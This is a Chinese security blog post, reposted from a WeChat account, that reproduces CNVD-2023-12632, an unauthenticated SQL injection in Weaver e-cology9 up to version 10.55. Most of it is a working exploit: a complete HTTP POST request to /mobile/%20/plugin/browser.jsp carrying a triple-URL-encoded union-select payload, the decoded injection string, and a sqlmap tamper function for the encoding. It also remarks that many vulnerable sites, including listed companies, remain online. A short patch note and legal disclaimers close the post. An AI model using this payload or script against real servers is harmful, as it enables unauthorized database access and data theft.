声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责
---------------------------------------------------------------------------------
上个月这个漏洞就复现了，但直到今天还是有师傅在问poc以及poc无效的问题。。。
别问了，以后这个不回复
在这放poc及脚本。
POST /mobile/%20/plugin/browser.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 1222isDis=1&browserTypeId=269&keyword=%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%32%25%33%37%25%32%35%25%33%35%25%33%33%25%32%35%25%33%35%25%33%31%25%32%35%25%33%34%25%36%33%25%32%35%25%33%35%25%36%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%38%25%32%35%25%33%34%25%33%39%25%32%35%25%33%35%25%33%33%25%32%35%25%33%35%25%33%34%25%32%35%25%33%35%25%33%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37
可以看我上一篇关于这个漏洞的文章~狗头
漏洞影响范围为
Ecology9 <=10.55
这里的poc经过三次url全字符编码，原语句为：
a' union select 1,''+(select 'SQL_EXISTS')+'
很明显的回显点，所以这不是盲注，这不是盲注，这不是盲注！！
不管盲注显注，显然可以直接上sqlmap，但有些师傅不会全字符编码，问gpt也不行，也就导致一跑脚本直接gg，这里放下tamper：
def tamper(payload, **kwargs):# URL encoding for all charactersencoded_payload = ''.join(['%' + format(ord(c), 'x') for c in payload])encoded_payload = ''.join(['%' + format(ord(c), 'x') for c in encoded_payload])encoded_payload = ''.join(['%' + format(ord(c), 'x') for c in encoded_payload])、encoded_payload = encoded_payload.replace(' ', '%20')return encoded_payload
到这里师傅们觉得sqlmap盲注太慢了，可以自己构造语句，直接查询：
用sqlshell写语句查询：
或者自己写个脚本查询都行。。。
目前互联网上仍然有大量存在该漏洞的网站，包括上市集团。
修复方案
目前官方已发布安全补丁修复了该漏洞，请受影响的用户尽快升级版本进行防护，官方下载链接如下：
https://www.weaver.com.cn/cs/securityDownload.asp#
原文始发于微信公众号（蓝猫Sec）：CNVD-2023-12632--泛微e-cology9 未授权SQL注入漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论